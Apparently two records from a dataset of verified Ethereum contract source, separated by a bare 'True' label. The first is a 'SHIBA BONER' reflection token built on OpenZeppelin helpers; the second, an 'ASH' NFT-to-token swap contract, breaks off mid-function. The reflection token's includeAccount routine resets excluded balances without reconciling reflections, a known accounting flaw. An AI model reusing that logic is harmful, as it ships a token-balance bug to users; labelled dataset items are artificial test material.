https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ShibaBoner is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'SHIBA BONER'; string private _symbol = 'SHIBABONER🍆 '; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-04-12 */ // File: contracts\gsn\Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts\access\Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\libs\SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } } // File: contracts\token\erc20\IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\token\erc20\ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount)); } } // File: contracts\libs\RealMath.sol pragma solidity ^0.5.0; /** * Reference: https://github.com/balancer-labs/balancer-core/blob/master/contracts/BNum.sol */ library RealMath { uint256 private constant BONE = 10 ** 18; uint256 private constant MIN_BPOW_BASE = 1 wei; uint256 private constant MAX_BPOW_BASE = (2 * BONE) - 1 wei; uint256 private constant BPOW_PRECISION = BONE / 10 ** 10; /** * @dev */ function rtoi(uint256 a) internal pure returns (uint256) { return a / BONE; } /** * @dev */ function rfloor(uint256 a) internal pure returns (uint256) { return rtoi(a) * BONE; } /** * @dev */ function radd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ERR_ADD_OVERFLOW"); return c; } /** * @dev */ function rsub(uint256 a, uint256 b) internal pure returns (uint256) { (uint256 c, bool flag) = rsubSign(a, b); require(!flag, "ERR_SUB_UNDERFLOW"); return c; } /** * @dev */ function rsubSign(uint256 a, uint256 b) internal pure returns (uint256, bool) { if (a >= b) { return (a - b, false); } else { return (b - a, true); } } /** * @dev */ function rmul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c0 = a * b; require(a == 0 || c0 / a == b, "ERR_MUL_OVERFLOW"); uint256 c1 = c0 + (BONE / 2); require(c1 >= c0, "ERR_MUL_OVERFLOW"); return c1 / BONE; } /** * @dev */ function rdiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "ERR_DIV_ZERO"); uint256 c0 = a * BONE; require(a == 0 || c0 / a == BONE, "ERR_DIV_INTERNAL"); uint256 c1 = c0 + (b / 2); require(c1 >= c0, "ERR_DIV_INTERNAL"); return c1 / b; } /** * @dev */ function rpowi(uint256 a, uint256 n) internal pure returns (uint256) { uint256 z = n % 2 != 0 ? a : BONE; for (n /= 2; n != 0; n /= 2) { a = rmul(a, a); if (n % 2 != 0) { z = rmul(z, a); } } return z; } /** * @dev Computes b^(e.w) by splitting it into (b^e)*(b^0.w). * Use `rpowi` for `b^e` and `rpowK` for k iterations of approximation of b^0.w */ function rpow(uint256 base, uint256 exp) internal pure returns (uint256) { require(base >= MIN_BPOW_BASE, "ERR_BPOW_BASE_TOO_LOW"); require(base <= MAX_BPOW_BASE, "ERR_BPOW_BASE_TOO_HIGH"); uint256 whole = rfloor(exp); uint256 remain = rsub(exp, whole); uint256 wholePow = rpowi(base, rtoi(whole)); if (remain == 0) { return wholePow; } uint256 partialResult = rpowApprox(base, remain, BPOW_PRECISION); return rmul(wholePow, partialResult); } /** * @dev */ function rpowApprox(uint256 base, uint256 exp, uint256 precision) internal pure returns (uint256) { (uint256 x, bool xneg) = rsubSign(base, BONE); uint256 a = exp; uint256 term = BONE; uint256 sum = term; bool negative = false; // term(k) = numer / denom // = (product(a - i - 1, i = 1--> k) * x ^ k) / (k!) // Each iteration, multiply previous term by (a - (k - 1)) * x / k // continue until term is less than precision for (uint256 i = 1; term >= precision; i++) { uint256 bigK = i * BONE; (uint256 c, bool cneg) = rsubSign(a, rsub(bigK, BONE)); term = rmul(term, rmul(c, x)); term = rdiv(term, bigK); if (term == 0) break; if (xneg) negative = !negative; if (cneg) negative = !negative; if (negative) { sum = rsub(sum, term); } else { sum = radd(sum, term); } } return sum; } } // File: contracts\libs\Address.sol pragma solidity ^0.5.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } // File: contracts\pak\ICollection.sol pragma solidity ^0.5.0; interface ICollection { // ERC721 function transferFrom(address from, address to, uint256 tokenId) external; // ERC1155 function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes calldata data) external; } // File: contracts\pak\ASH.sol pragma solidity ^0.5.0; contract ASH is Ownable, ERC20 { using RealMath for uint256; using Address for address; bytes4 private constant _ERC1155_RECEIVED = 0xf23a6e61; event CollectionWhitelist(address collection, bool status); event AssetWhitelist(address collection, uint256 assetId, bool status); event CollectionBlacklist(address collection, bool status); event AssetBlacklist(address collection, uint256 assetId, bool status); event Swapped(address collection, uint256 assetId, address account, uint256 amount, bool isWhitelist, bool isERC721); // Mapping "collection" whitelist mapping(address => bool) private _collectionWhitelist; // Mapping "asset" whitelist mapping(address => mapping(uint256 => bool)) private _assetWhitelist; // Mapping "collection" blacklist mapping(address => bool) private _collectionBlacklist; // Mapping "asset" blacklist mapping(address => mapping(uint256 => bool)) private _assetBlacklist; bool public isStarted = false; bool public isERC721Paused = false; bool public isERC1155Paused = true; /** * @dev Throws if NFT swapping does not start yet */ modifier started() { require(isStarted, "ASH: NFT swapping does not start yet"); _; } /** * @dev Throws if collection or asset is in blacklist */ modifier notInBlacklist(address collection, uint256 assetId) { require(!_collectionBlacklist[collection] && !_assetBlacklist[collection][assetId], "ASH: collection or asset is in blacklist"); _; } /** * @dev Initializes the contract settings */ constructor(string memory name, string memory symbol) public ERC20(name, symbol, 18) {} /** * @dev Starts to allow NFT swapping */ function start() public onlyOwner { isStarted = true; } /** * @dev Pauses NFT (everything) swapping */ function pause(bool erc721) public onlyOwner { if (erc721) { isERC721Paused = true; } else { isERC1155Paused = true; } } /** * @dev Resumes NFT (everything) swapping */ function resume(bool erc721) public onlyOwner { if (erc721) { isERC721Paused = false; } else { isERC1155Paused = false; } } /** * @dev Adds or removes collections in whitelist */ function updateWhitelist(address[] memory collections, bool status) public onlyOwner { uint256 length = collections.length; for (uint256 i = 0; i < length; i++) { address collection = collections[i]; if (_collectionWhitelist[collection] != status) { _collectionWhitelist[collection] = status; emit CollectionWhitelist(collection, status); } } } /** * @dev Adds or removes assets in whitelist */ function updateWhitelist(address[] memory collections, uint256[] memory assetIds, bool status) public onlyOwner { uint256 length = collections.length; require(length == assetIds.length, "ASH: length of arrays is not equal"); for (uint256 i = 0; i < length; i++) { address collection = collections[i]; uint256 assetId = assetIds[i]; if (_assetWhitelist[collection][assetId] != status) { _assetWhitelist[collection][assetId] = status; emit AssetWhitelist(collection, assetId, status); } } } /** * @dev Returns true if collection is in whitelist */ function isWhitelist(address collection) public view returns (bool) { return 